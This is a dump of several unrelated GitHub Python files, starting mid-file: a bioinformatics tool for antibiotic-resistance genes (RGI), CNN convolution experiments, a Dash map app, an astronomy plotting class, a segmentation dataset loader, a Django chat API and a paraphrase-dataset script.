SeqIO.parse(handle, \"fasta\")\n\t\t\t\t\tself.check_record(fasta)\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef check_record(self, fasta):\n\t\t# check each record in the file\n\t\tfor record in fasta:\n\t\t\tif any(record.id) == False or any(record.seq) == False:\n\t\t\t\treturn False\n\t\t\tif self.input_type == \"contig\":\n\t\t\t\treturn self.is_dna(record.seq)\n\t\t\tif self.input_type == \"protein\":\n\t\t\t\treturn self.is_protein(record.seq)\n\n\t# TODO: test\n\tdef _is_fasta(self):\n\t\t\"\"\"Checks for valid fasta format using seqkit stats\"\"\"\n\t\tcmd = \"seqkit stats --tabular {input_sequence} --out-file - | grep -v format\".format(\n\t\t\tinput_sequence=self.input_sequence\n\t\t)\n\t\tresult = subprocess.check_output(cmd, shell=True)\n\t\tresult_dict = result.strip().decode().split(\"\\t\")\n\n\t\tif self.input_type == \"contig\":\n\t\t\tif result_dict[1] == \"FASTA\" and result_dict[2] == [\"DNA\"]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\tif self.input_type == \"protein\":\n\t\t\tif result_dict[1] == \"FASTA\" and result_dict[2] == [\"Protein\"]:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\n\t@staticmethod\n\tdef is_dna(sequence):\n\t\t# dna codes\n\t\tnucleotide_dict = {'A': 0, 'T': 0, 'G': 0, 'C': 0, 'N': 0, 'U': 0,\n\t\t# other dna codes\n\t\t'W': 0, # W = A or T\n\t\t'S': 0, # S = C or G\n\t\t'M': 0, # M = A or C\n\t\t'K': 0, # K = G or T\n\t\t'R': 0, # R = A or G\n\t\t'Y': 0, # Y = C or T\n\t\t'B': 0, # B = C, G, or T\n\t\t'D': 0, # D = A, G, or T\n\t\t'H': 0, # H = A, C, or T\n\t\t'V': 0 # V = A, C, or G\n\t\t}\n\n\t\tfor base in sequence:\n\t\t\ttry:\n\t\t\t\tnucleotide_dict[base.upper()] += 1\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.error(\"invalid nucleotide fasta due to: {}\".format(e))\n\t\t\t\treturn False\n\t\tlogger.info(\"valid nucleotide fasta: {}\".format(nucleotide_dict))\n\t\treturn True\n\n\t@staticmethod\n\tdef is_protein(sequence):\n\t\tamino_acids_dict = {\n\t\t\t# common symbols between protein and dna codes\n\t\t\t'A': 0, 'T': 0, 'G': 0, 'C': 0, 'N': 0, 'U': 0,\n\t\t\t# other amino acids\n\t\t\t'R': 0, 'D': 0, 'Q': 0, 'E': 0, 'G': 0, 'H': 0, 'I': 0,\n\t 'L': 0, 'K': 0, 'M': 0, 'F': 0, 'P': 0, 'S': 0, 'T': 0,\n\t\t 'W': 0, 'Y': 0, 'V': 0, 'X': 0, 'Z': 0, 'J': 0, 'B': 0\n\t\t}\n\t\tcount = 0\n\t\tfor amino_acid in sequence:\n\t\t\ttry:\n\t\t\t\tamino_acids_dict[amino_acid.upper()] += 1\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.error(\"invalid protein fasta due to: {}\".format(e))\n\t\t\t\treturn False\n\n\t\tfor a in amino_acids_dict.keys():\n\t\t\tif a not in 'ATGCNU':\n\t\t\t\tcount = count + amino_acids_dict[a]\n\n\t\tif count == 0:\n\t\t\tlogger.error(\"invalid protein fasta: {}\".format(amino_acids_dict))\n\t\t\treturn False\n\n\t\tlogger.info(\"valid protein fasta: {}\".format(amino_acids_dict))\n\t\treturn True\n\n\tdef __set_xml_filepath(self,fp):\n\t\t\"\"\"Sets blast xml filepath.\"\"\"\n\t\tself.blast_results_xml_file = fp\n\n\tdef create_databases(self):\n\t\t\"\"\"Creates databases.\"\"\"\n\t\tdb_obj = Database(self.local_database)\n\t\tdb_obj.build_databases()\n\n\tdef run(self):\n\t\t\"\"\"Runs RGI.\"\"\"\n\t\tt0 = time.time()\n\t\tself.validate_inputs()\n\t\tself.create_databases()\n\t\tself.run_blast()\n\t\tself.filter_process()\n\t\t#logger.info(\"Output......\")\n\t\t#self.out()\n\t\tlogger.info('Total running time {}s'.format(round(time.time() - t0, 3)))\n\n\tdef clean_files(self):\n\t\t\"\"\"Cleans temporary files.\"\"\"\n\t\tif self.clean == True:\n\t\t\tbasename_output_file = os.path.splitext(os.path.basename(self.output_file))[0]\n\t\t\tlogger.info(\"Cleaning up temporary files...{}\".format(basename_output_file))\n\t\t\t# remove uncompressed input file\n\t\t\tif self.umcompressed_file != \"\":\n\t\t\t\tself.remove_file(self.umcompressed_file)\n\t\t\t# clean working_directory\n\t\t\tself.clean_directory(self.working_directory, basename_output_file)\n\t\t\td_name, f_name = os.path.split(self.output_file)\n\t\t\t# clean destination_directory\n\t\t\tself.clean_directory(d_name, basename_output_file)\n\t\telse:\n\t\t\tlogger.info(\"Clean up skipped.\")\n\n\tdef clean_directory(self, directory, basename_output_file):\n\t\t\"\"\"Cleans files in directory.\"\"\"\n\t\tlogger.info(directory)\n\t\tfiles = glob.glob(os.path.join(directory, \"*\"))\n\t\tfor f in files:\n\t\t\tif os.path.basename(self.input_sequence) + \".temp\" in f and os.path.isfile(f):\n\t\t\t\tself.remove_file(f)\n\t\t\tif os.path.basename(self.input_sequence) + \".fai\" in f and os.path.isfile(f):\n\t\t\t\tself.remove_file(f)\n\t\t\t#if os.path.basename(f)[:3] == \"tmp\" in f and os.path.isfile(f) and \".temp.\" in f:\n\t\t\t#\tself.remove_file(f)\n\t\t\t#if \".temp.directory\" in f and os.path.isdir(f):\n\t\t\t#\tlogger.info(\"Removed directory: {}\".format(f))\n\t\t\t#\tshutil.rmtree(f)\n\n\tdef remove_file(self, f):\n\t\t\"\"\"Removes file.\"\"\"\n\t\tif os.path.exists(f):\n\t\t\ttry:\n\t\t\t\t# keep CDS protein and dna from prodigal if user specified --clean anf --keep flags\n\t\t\t\tif self.keep == True and (f.find(\"temp.contig.fsa\") != -1 \\\n\t\t\t\t\tor f.find(\"temp.contigToORF.fsa\") != -1) and \\\n\t\t\t\tos.path.splitext(os.path.basename(f))[1][1:].strip() in [\"fsa\"]:\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tlogger.info(\"Removed file: {}\".format(f))\n\t\t\t\t\tos.remove(f)\n\t\t\texcept Exception as e:\n\t\t\t\traise e\n\t\telse:\n\t\t\tlogger.warning(\"Missing file: {}\".format(f))\n\n\tdef out(self):\n\t\t\"\"\"Writes tab-delimited, ggf3 output files.\"\"\"\n\t\ttab_obj = Output(self.output_file)\n\t\ttab_obj.run()\n\n\tdef run_blast(self):\n\t\t\"\"\"Runs blast.\"\"\"\n\t\tif self.input_type == \"protein\":\n\t\t\tself.process_protein()\n\t\telif self.input_type == \"contig\":\n\t\t\tself.process_contig()\n\t\telse:\n\t\t\tlogger.error(\"Invalid input_type: {} \".format(self.input_type))\n\t\t\texit()\n\n\tdef set_xml_filepath(self,fp):\n\t\t\"\"\"Sets blast xml filepath.\"\"\"\n\t\tlogger.info(\"set blast xml file: [{}]\".format(fp))\n\t\tself.blast_results_xml_file = fp\n\n\tdef process_protein(self):\n\t\t\"\"\"Process protein sequence(s).\"\"\"\n\t\tfile_name = os.path.basename(self.input_sequence)\n\t\txml_file = os.path.join(self.working_directory,\"{}.temp.blastRes.xml\".format(file_name))\n\n\t\tif self.aligner == \"diamond\":\n\t\t\tdiamond_obj = Diamond(self.input_sequence, xml_file, local_database=self.local_database, num_threads=self.threads)\n\t\t\tdiamond_obj.run()\n\t\telse:\n\t\t\tblast_obj = Blast(self.input_sequence, xml_file, local_database=self.local_database, num_threads=self.threads)\n\t\t\tblast_obj.run()\n\n\t\tself.set_xml_filepath(xml_file)\n\n\tdef process_contig(self):\n\t\t\"\"\"Process nuclotide sequence(s).\"\"\"\n\t\tfile_name = os.path.basename(self.input_sequence)\n\n\t\tif self.orf_finder == \"pyrodigal\":\n\t\t\torf_finder_cls = PyORF\n\t\telif self.orf_finder == \"prodigal\":\n\t\t\torf_finder_cls = ORF\n\n\t\torf_obj = orf_finder_cls(input_file=self.input_sequence, threads=self.threads, clean=self.clean, working_directory=self.working_directory, low_quality=self.low_quality, split_prodigal_jobs=self.split_prodigal_jobs)\n\t\torf_obj.contig_to_orf()\n\t\tcontig_fsa_file = os.path.join(self.working_directory,\"{}.temp.contig.fsa\".format(file_name))\n\t\tblast_results_xml_file = os.path.join(self.working_directory,\"{}.temp.contig.fsa.blastRes.xml\".format(file_name))\n\n\t\ttry:\n\t\t\tif os.stat(contig_fsa_file).st_size > 0:\n\t\t\t\tlogger.info(\"work with file {}\".format(contig_fsa_file))\n\t\t\t\tif self.aligner == \"diamond\":\n\t\t\t\t\tdiamond_obj = Diamond(contig_fsa_file, local_database=self.local_database, num_threads=self.threads)\n\t\t\t\t\tdiamond_obj.run()\n\t\t\t\telse:\n\t\t\t\t\tblast_obj = Blast(contig_fsa_file, local_database=self.local_database, num_threads=self.threads)\n\t\t\t\t\tblast_obj.run()\n\t\t\t\tself.set_xml_filepath(blast_results_xml_file)\n\t\t\telse:\n\t\t\t\tself.write_stub_output_file()\n\t\t\t\tlogger.error(\"no open reading frames (orfs) found.\")\n\t\texcept Exception as e:\n\t\t\tself.write_stub_output_file()\n\t\t\tlogger.exception(\"failed to write orf file\")\n\t\telse:\n\t\t\t# logger.info(\"success procession orf file\")\n\t\t\tpass\n\n\tdef write_stub_output_file(self):\n\t\t# write empty output file if there are no open reading frames\n\t\twith open(os.path.join(self.output_file), 'w') as fout:\n\t\t\tfout.write(json.dumps({}))\n\n\t# @profile\n\tdef filter_process(self):\n\t\tlogger.info(\"run filter\")\n\t\t\"\"\"Filter each detection models and predict resistome(s).\"\"\"\n\t\tfilter_obj = Filter(self.input_type, self.loose, self.input_sequence, self.blast_results_xml_file, \\\n\t\t\tos.path.join(self.dp,\"card.json\"),os.path.basename(self.input_sequence) ,self.output_file,self.threads, self)\n\t\tfilter_obj.run()\n\n\tdef output(self): pass\n","repo_name":"arpcard/rgi","sub_path":"app/RGI.py","file_name":"RGI.py","file_ext":"py","file_size_in_byte":12879,"program_lang":"python","lang":"en","doc_type":"code","stars":274,"dataset":"github-code","pt":"32"} +{"seq_id":"15380040803","text":"import numpy as np\nimport time\nimport numba\nfrom skimage.util.shape import view_as_windows\n@numba.jit(forceobj = True)\ndef padding(pic, padX, padY):\n return np.pad(pic, (padX, padY), constant_values=(0, 0))\n\ndef avg_pooling(input):\n return np.average(input)\n\ndef max_pooling(input):\n return np.max(input)\n\ndef pooling(pic, pool, poolX, poolY, stride):\n pool_pic = np.zeros((int((pic.shape[0] - poolX) / stride + 1), int((pic.shape[1] - poolY) / stride + 1)))\n i_pool = 0\n for i in range(0, pic.shape[1] + 1 - poolY, stride):\n j_pool = 0\n for j in range(0, pic.shape[0] + 1 - poolX, stride):\n pool_pic[j_pool, i_pool] = pool(pic[j:j + poolX, i:i + poolY])\n j_pool += 1\n i_pool += 1\n return pool_pic\n\n#\"Naive\" implementation\n@numba.jit(forceobj= True)\ndef convolution(pic, filter, padX, padY, stride):\n conv_pic = np.zeros((int((pic.shape[0] + 2*padX - filter.shape[0]) / stride + 1), int((pic.shape[1] + 2*padY - filter.shape[1]) / stride + 1))) \n pic = padding(pic, padX, padY)\n i_conv = 0\n for i in range(0, pic.shape[1] - filter.shape[1] + 1, stride):\n j_conv = 0\n for j in range(0, pic.shape[0] - filter.shape[0] + 1, stride):\n conv_pic[j_conv, i_conv] = np.sum(pic[j:j + filter.shape[0], i:i + filter.shape[1]] * filter)\n j_conv += 1\n i_conv += 1\n return conv_pic\n\n@numba.jit(forceobj = True)\ndef im2col(pic, filter, stride):\n im2col_matrix = np.zeros((filter.size, int((pic.shape[0] - filter.shape[0]) / stride + 1) * int((pic.shape[1] - filter.shape[1]) / stride + 1)))\n col = 0\n for i in range(0, pic.shape[1] - filter.shape[1] + 1, stride):\n for j in range(0, pic.shape[0] - filter.shape[0] + 1, stride):\n im2col_matrix[:, col] = pic[j:j + filter.shape[0], i:i + filter.shape[1]].reshape(1, filter.size)\n col += 1\n \n return im2col_matrix\n\n#Vectorized + striding window\n@numba.jit(forceobj = True)\ndef memory_strided_im2col(pic, filter, padX, padY, stride):\n pic = padding(pic, padX, padY)\n im2col_matrix = view_as_windows(pic, filter.shape, step = stride).reshape(filter.size, int((pic.shape[0] - filter.shape[0]) / stride + 1) * int((pic.shape[1] - filter.shape[1]) / stride + 1))\n return (filter.flatten() @ im2col_matrix).reshape(int((pic.shape[0] + 2*padX - filter.shape[0]) / stride + 1), int((pic.shape[1] + 2*padY - filter.shape[1]) / stride + 1)) \n\n#Trying my own stuff\ndef view_as_window(pic, filter, stride):\n #This implementation uses \n if pic.dtype != np.float64:\n pic = pic.astype(np.float64)\n print(pic.strides)\n print(pic.shape)\n pic_windowed = np.lib.stride_tricks.as_strided(pic, shape = (filter.size, int((pic.shape[0] - filter.shape[0]) / stride + 1) * int((pic.shape[1] - filter.shape[1]) / stride + 1)), strides = (4 * stride, filter.shape[1] * 4, 4))\n return pic_windowed.reshape()\n\n#view_as_window(np.array([[5, 4], [3, 2]]), 1, 2)\n#Vectorized implementation\n@numba.jit(forceobj = True) \ndef conv_im2col(pic, filter, padX, padY, stride):\n pic_pooled = padding(pic, padX, padY)\n conv_matrix = im2col(pic_pooled, filter, stride)\n conv_pic = (filter.flatten() @ conv_matrix).reshape(int((pic.shape[0] + 2*padX - filter.shape[0]) / stride + 1), int((pic.shape[1] + 2*padY - filter.shape[1]) / stride + 1))\n return conv_pic\n\ndef unit_pooling_conv():\n amt = 24000\n array = np.arange(10000).reshape(100, 100)\n filter = np.array(([[2, 2], [2, 2]])) \n \"\"\"\n x = time.time()\n for i in range(amt):\n if i % 1000 == 0:\n print(i)\n convolution(array, filter, 0, 0, 1)\n print(time.time() - x)\n \n x = time.time()\n for i in range(amt):\n if i % 1000 == 0:\n print(i)\n conv_im2col(array, filter, 0, 0, 1)\n print(time.time() - x)\n \"\"\"\n memory_strided_im2col(array, filter, 0, 0, 1)\n x = time.time()\n for i in range(amt):\n if i % 1000 == 0:\n print(i)\n memory_strided_im2col(array, filter, 0, 0, 1)\n print(time.time() - x)\n\ndef im2col_test():\n mat = np.array([[3, 9, 0], [2, 8, 1], [1, 4, 8]])\n filters = np.array([[8, 9], [4, 4]])\n print(convolution(mat, filters, 0, 0, 1))\n print(conv_im2col(mat, filters, 0, 0, 1))\n print(memory_strided_im2col(mat, filters, 0, 0, 1))\n\ndef sobel_filter_number():\n import matplotlib.pyplot as plt\n from keras.datasets import mnist\n (train_X, train_y), (test_X, test_y) = mnist.load_data()\n pic = train_X[0].reshape(28, 28)\n plt.imshow(pic, cmap = 'gray', vmax = 255, vmin = 0)\n plt.show()\n sobel_vert = np.array([[-1, 0, 1], [-2, 0, 2], [-1, 0, 1]])\n sobel_hori = np.array([[-1, -2, -1], [0,0,0], [1,2,1]])\n\n pic_conv_vert = convolution(pic, sobel_vert, 1, 1, 1)\n pic_conv_vert = pooling(pic_conv_vert, avg_pooling, 2, 2, 2)\n\n pic_conv_hori = convolution(pic, sobel_hori, 1, 1, 1)\n pic_conv_hori = pooling(pic_conv_hori, avg_pooling, 2, 2, 2)\n plt.imshow(pic_conv_vert, cmap = 'gray', vmax = 255, vmin = 0)\n plt.show()\n plt.imshow(pic_conv_hori, cmap = 'gray', vmax = 255, vmin = 0)\n plt.show()\n\nunit_pooling_conv()","repo_name":"Omycron83/Machine-Learning","sub_path":"Supervised_Learning/CNN/Convolutions & Pooling/dryrun.py","file_name":"dryrun.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13522628090","text":"import os\nfrom dash import html, dcc\n\n# import plotly.express as px\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom multi_text_input import MultiTextInput\n\nmatplotlib.use(\"agg\")\n# plt.style.use(\"dark_background\")\n\n\ndef layout():\n return html.Div(\n [\n html.H1(\"Carte des terminaisons\"),\n MultiTextInput(\n id=\"terminaison-input\",\n value=\"\",\n values=[],\n placeholder=\"Appuyez sur Enter pour valider\",\n ),\n # dcc.Graph(id=\"map\")\n html.Center(html.Img(id=\"map\", src=\"assets/images/france__dark.jpeg\")),\n html.Button(\"Download\", id=\"download\"),\n dcc.Download(id=\"download-image\"),\n ]\n )\n\n\ndef create_matplotlib_graph(df_geo, france, terminaisons=[], background=\"dark\"):\n name = \"france_\" + \"_\".join(sorted(terminaisons))\n name += f\"_{background}\"\n name = f\"assets/images/{name}.png\"\n if background == \"dark\":\n plt.style.use(\"dark_background\")\n\n if not os.path.exists(name):\n print(\"Creating new graph\")\n df_geo[\"terminaison\"] = None\n\n for t in terminaisons:\n df_geo.loc[\n df_geo[\"libgeo_simple\"].apply(lambda x: x[-len(t) :] == t),\n \"terminaison\",\n ] = t\n\n fig, ax = plt.subplots(1, 1, figsize=(10, 10))\n\n france.plot(ax=ax, legend=False, color=\"#F0F0F0\")\n if (len(terminaisons) != 0) and (df_geo[\"terminaison\"].notna().sum() > 0):\n df_geo.plot(\"terminaison\", ax=ax, legend=True)\n\n ax.axis(\"off\")\n\n plt.savefig(name)\n else:\n print(\"Using already computed map\")\n return name\n\n plt.savefig(\"assets/images/\")\n\n\n# def get_map(df, terminaisons=[]):\n# terminaisons = sorted(terminaisons, key=len, reverse=True)\n\n# df[\"terminaison\"] = None\n\n# for t in terminaisons:\n# df.loc[\n# df[\"libgeo_simple\"].apply(lambda x: x[-len(t) :] == t), \"terminaison\"\n# ] = t\n\n# fig = px.scatter(\n# data_frame=df,\n# x=\"xcl2154\",\n# y=\"ycl2154\",\n# color=\"terminaison\",\n# height=1000,\n# width=1000,\n# )\n# fig.update_layout(plot_bgcolor=\"rgba(0,0,0,0)\")\n\n# return fig\n","repo_name":"pauldechorgnat/france-city-names","sub_path":"layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38384371959","text":"from __future__ import division, print_function, absolute_import\n\nimport imageio\nimport numpy as np\nfrom tqdm import tqdm\nimport warnings\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.image import imsave\nimport matplotlib.patheffects as path_effects\nfrom matplotlib.colors import NoNorm\n\nfrom astropy import log\nfrom astropy import visualization\nfrom astropy.wcs import WCS\n\nfrom .surveyquery import getSVImg\n\n# Figure class\nclass K2Fig(object):\n \"\"\"Figure showing K2 target pixel stamp and sky survey image.\"\"\"\n\n def __init__(self,TPF):\n self.TPF = TPF\n self.verbose = self.TPF.verbose\n\n def cut_levels(self, min_percent=1., max_percent=95., data_col='FLUX'):\n \"\"\"Determine the cut levels for contrast stretching.\n\n Returns\n -------\n vmin, vmax : float, float\n Min and max cut levels.\n \"\"\"\n\n # Get co-added flux\n # update to use TPF\n sample = self.TPF.flux_binned()\n\n # Scale image\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', message=\"(.*)invalid value(.*)\")\n vmin, vmax = np.percentile(sample[sample > 0],\n [min_percent, max_percent])\n return vmin, vmax\n\n\n\n # Set up the figure and axes using astropy WCS\n def create_figure(self, output_filename, survey, stretch='log', vmin=1, vmax=None, min_percent=1, max_percent=95,\n cmap='gray', contour_color='red', data_col='FLUX'):\n \"\"\"Returns a matplotlib Figure object that visualizes a frame.\n\n Parameters\n ----------\n\n vmin : float, optional\n Minimum cut level (default: 0).\n\n vmax : float, optional\n Maximum cut level (default: 5000).\n\n cmap : str, optional\n The matplotlib color map name. The default is 'gray',\n can also be e.g. 'gist_heat'.\n\n raw : boolean, optional\n If `True`, show the raw pixel counts rather than\n the calibrated flux. Default: `False`.\n\n Returns\n -------\n image : array\n An array of unisgned integers of shape (x, y, 3),\n representing an RBG colour image x px wide and y px high.\n \"\"\"\n # Get the flux data to visualize\n # Update to use TPF\n flx = self.TPF.flux_binned()\n # print(np.shape(flx))\n\n # calculate cut_levels\n if vmax is None:\n vmin, vmax = self.cut_levels(min_percent,max_percent,data_col)\n\n # Determine the figsize\n shape = list(flx.shape)\n # print(shape)\n # Create the figure and display the flux image using matshow\n fig = plt.figure(figsize=shape)\n # Display the image using matshow\n\n # Update to generate axes using WCS axes instead of plain axes\n ax = plt.subplot(projection=self.TPF.wcs)\n ax.set_xlabel('RA')\n ax.set_ylabel('Dec')\n\n if self.verbose:\n print('{} vmin/vmax = {}/{} (median={})'.format(data_col, vmin, vmax, np.nanmedian(flx)))\n\n if stretch == 'linear':\n stretch_fn = visualization.LinearStretch()\n elif stretch == 'sqrt':\n stretch_fn = visualization.SqrtStretch()\n elif stretch == 'power':\n stretch_fn = visualization.PowerStretch(1.0)\n elif stretch == 'log':\n stretch_fn = visualization.LogStretch()\n elif stretch == 'asinh':\n stretch_fn = visualization.AsinhStretch(0.1)\n else:\n raise ValueError('Unknown stretch: {0}.'.format(stretch))\n\n transform = (stretch_fn +\n visualization.ManualInterval(vmin=vmin, vmax=vmax))\n ax.imshow((255*transform(flx)).astype(int), aspect='auto',\n origin='lower', interpolation='nearest',\n cmap=cmap, norm=NoNorm())\n ax.set_xticks([])\n ax.set_yticks([])\n\n current_ylims = ax.get_ylim()\n current_xlims = ax.get_xlim()\n\n pixels, header = getSVImg(self.TPF.position, survey)\n levels = np.linspace(np.min(pixels),np.percentile(pixels,95),10)\n ax.contour(pixels,transform=ax.get_transform(WCS(header)),\n levels=levels,colors=contour_color)\n\n ax.set_xlim(current_xlims)\n ax.set_ylim(current_ylims)\n\n fig.canvas.draw()\n plt.savefig(output_filename, bbox_inches='tight', dpi=300)\n return fig\n","repo_name":"stephtdouglas/k2-pix","sub_path":"k2pix/figure.py","file_name":"figure.py","file_ext":"py","file_size_in_byte":4534,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"72124227291","text":"from torch.utils.data import Dataset\nfrom imageio import imread\nimport os\nimport cv2\nimport numpy as np\nimport torch\nimport matplotlib\nmatplotlib.use('TkAgg')\nfrom matplotlib import pyplot as plt\n\n\nclass BuildingsDataset(Dataset):\n def __init__(self,\n data_path,\n ann='train',\n transformations=None,\n train_size=100,\n test_size=68):\n self.img_path = os.path.join(data_path, 'images')\n self.mask_path = os.path.join(data_path, 'masks')\n self.transformations = transformations\n self.ann = ann\n\n self.img_list = os.listdir(self.img_path)\n self.img_list.sort()\n self.mask_list = os.listdir(self.mask_path)\n self.mask_list.sort()\n\n if self.ann == 'train':\n self.img_list = self.img_list[0:train_size]\n self.mask_list = self.mask_list[0:train_size]\n else:\n self.img_list = self.img_list[train_size:train_size + test_size]\n self.mask_list = self.mask_list[train_size:train_size + test_size]\n\n def __len__(self):\n return len(self.img_list)\n\n def __getitem__(self, item):\n img_file = self.img_list[item]\n mask_file = self.mask_list[item]\n\n image = cv2.imread(self.img_path + '/' + img_file)\n mask = cv2.imread(self.mask_path + '/' + mask_file)\n mask = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\n mask[mask > 0] = 1\n # mask = np.expand_dims(mask, axis=0)\n\n if self.transformations is not None:\n image, mask = self.transformations(image, mask)\n dmap = signed_distance(mask)\n\n g_x, g_y = np.gradient(dmap)\n g_x = np.multiply(dmap / 128, -g_x)\n g_y = np.multiply(dmap / 128, -g_y)\n g_x[abs(dmap) > 20] = 0\n g_y[abs(dmap) > 20] = 0\n\n g_map = np.array([g_y, g_x], dtype=np.float32)\n g_map = torch.from_numpy(g_map)\n\n return image, mask, g_map\n\n\nfrom scipy import ndimage\n\n\ndef signed_distance(mask):\n f = np.uint8(mask > 0.5)\n # Signed distance transform\n dist_func = ndimage.distance_transform_edt\n distance = np.where(f, dist_func(f) - 0.5, -(dist_func(1-f) - 0.5))\n return distance\n","repo_name":"lisurui6/acdrnet","sub_path":"data/buildings.py","file_name":"buildings.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9937046386","text":"from django.shortcuts import render\nfrom rest_framework import mixins, status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.exceptions import ValidationError\nfrom chat.models import ChatMessage\nfrom chat.serializers import ChatMessageSerializer\n\nclass ChatMessageViewSet(mixins.CreateModelMixin,\n mixins.RetrieveModelMixin,\n viewsets.GenericViewSet):\n \"\"\"\n API endpoint that allows chat messages to be viewed, inserted or edited.\n \"\"\"\n queryset = ChatMessage.objects.all()\n serializer_class = ChatMessageSerializer\n\n def perform_create(self, serializer):\n \"\"\"Overriden from mixins.CreateModelMixin\n The user field from the serializer is populated with the user doing the request.\n \"\"\"\n serializer.save(user=self.request.user)\n\n @action(detail=False, methods=['get'])\n def retrieve_up_to(self, serializer):\n \"\"\"Retrieves multiple chat messages. Url link is \"http://......./chat/retrieve_up_to/?quantity=X&to=Y\"\n\n quantity: Number of messages to retrieve (defauts to 10)\n to: Id of the last message to retrieve (excluded)\n\n A typical use case is to retrieve old messages either when loading the page or to load older messages.\n Make the call first without the 'to' parameter, then use the oldest message id to make a new query\n and retrieve messages more messages.\n \"\"\"\n\n params = self.request.query_params\n\n number_of_messages = int(params.get('quantity', 10))\n if number_of_messages > 200:\n raise ValidationError(\"Fetching more than 200 messages is not allowed\")\n if 'to' in params:\n to_id = int(params['to'])\n else:\n to_id = self.queryset.first().id + 1\n chat_messages = reversed(self.queryset.filter(id__lt=to_id)[:number_of_messages])\n serializer = self.get_serializer(chat_messages, many=True)\n return Response(serializer.data)\n\n @action(detail=False, methods=['get'])\n def retrieve_from(self, serializer):\n \"\"\"Retrieves multiple chat messages. Url link is \"http://......./chat/retrieve_from/?from=X\"\n\n from: Id of the latest message known by the user.\n\n Once a first call is made to \"retrieve_up_to\" to retrieve the latest messages, the \"retrieve_from\" method is called regularly from the frontend,\n something like once every second. The from parameter is filled with the id of the latest message known by the user.\n It returns the list of newer messages (if any), it max out to 10.\"\"\"\n\n params = self.request.query_params\n if 'from' not in params:\n raise ValidationError(\"The 'from' parameter is required\")\n from_param = params['from']\n if not from_param.isdigit():\n raise ValidationError(\"The 'from' parameter must be an int and not '%s'\" % from_param)\n from_param = int(from_param)\n\n latest_message_id = self.queryset.first().id\n if from_param >= latest_message_id:\n # No newer message to return\n return Response()\n\n chat_messages = reversed(self.queryset.filter(id__gt=from_param)[:10])\n serializer = self.get_serializer(chat_messages, many=True)\n return Response(serializer.data)\n","repo_name":"tgoessel/Portail-des-Eleves","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24235902703","text":"import pandas as pd\nfrom datasets import load_dataset\nfrom tqdm import tqdm\n \n\ndataset = load_dataset('tapaco', 'en')\n\ndef process_tapaco_dataset(dataset, out_file):\n tapaco = []\n # The dataset has only train split.\n for data in tqdm(dataset[\"train\"]):\n keys = data.keys()\n tapaco.append([data[key] for key in keys])\n tapaco_df = pd.DataFrame(\n data=tapaco,\n columns=[\n \"language\",\n \"lists\",\n \"paraphrase\",\n \"paraphrase_set_id\",\n \"sentence_id\",\n \"tags\",\n ],\n )\n tapaco_df.to_csv(out_file, sep=\"\\t\", index=None)\n return tapaco_df\n \n\ntapaco_df = process_tapaco_dataset(dataset,\"tapaco_huggingface.csv\")\n \n\ntapaco_df.head()\n \n\n\n \n\ntapaco_df = pd.read_csv(\"tapaco_huggingface.csv\",sep=\"\\t\")\n \n\ndef generate_tapaco_paraphrase_dataset(dataset, out_file):\n dataset_df = dataset[[\"paraphrase\", \"paraphrase_set_id\"]]\n non_single_labels = (\n dataset_df[\"paraphrase_set_id\"]\n .value_counts()[dataset_df[\"paraphrase_set_id\"].value_counts() > 1]\n .index.tolist()\n )\n tapaco_df_sorted = dataset_df.loc[\n dataset_df[\"paraphrase_set_id\"].isin(non_single_labels)\n ]\n tapaco_paraphrases_dataset = []\n\n for paraphrase_set_id in tqdm(tapaco_df_sorted[\"paraphrase_set_id\"].unique()):\n id_wise_paraphrases = tapaco_df_sorted[\n tapaco_df_sorted[\"paraphrase_set_id\"] == paraphrase_set_id\n ]\n len_id_wise_paraphrases = (\n id_wise_paraphrases.shape[0]\n if id_wise_paraphrases.shape[0] % 2 == 0\n else id_wise_paraphrases.shape[0] - 1\n )\n for ix in range(0, len_id_wise_paraphrases, 2):\n current_phrase = id_wise_paraphrases.iloc[ix][0]\n for count_ix in range(ix + 1, ix + 2):\n next_phrase = id_wise_paraphrases.iloc[ix + 1][0]\n tapaco_paraphrases_dataset.append([current_phrase, next_phrase])\n tapaco_paraphrases_dataset_df = pd.DataFrame(\n tapaco_paraphrases_dataset, columns=[\"Text\", \"Paraphrase\"]\n )\n tapaco_paraphrases_dataset_df.to_csv(out_file, sep=\"\\t\", index=None)\n return tapaco_paraphrases_dataset_df\n \n\ndataset_df = generate_tapaco_paraphrase_dataset(tapaco_df,\"tapaco_paraphrases_dataset.csv\")\n \n\ndataset_df.head()\n \n\n# !wget https://github.com/hetpandya/paraphrase-datasets-pretrained-models/raw/main/datasets/tapaco/tapaco_paraphrases_dataset.csv\n \n\ndataset_df = pd.read_csv(\"tapaco_paraphrases_dataset.csv\",sep=\"\\t\")\n \n\nfrom simpletransformers.t5 import T5Model\nfrom sklearn.model_selection import train_test_split\nimport sklearn\n \n\ndataset_df.columns = [\"input_text\",\"target_text\"]\ndataset_df[\"prefix\"] = \"paraphrase\"\n \n\ntrain_data,test_data = train_test_split(dataset_df,test_size=0.1)\n \n\n\n\n\nargs = {\n \"reprocess_input_data\": True,\n \"overwrite_output_dir\": True,\n \"max_seq_length\": 256,\n \"num_train_epochs\": 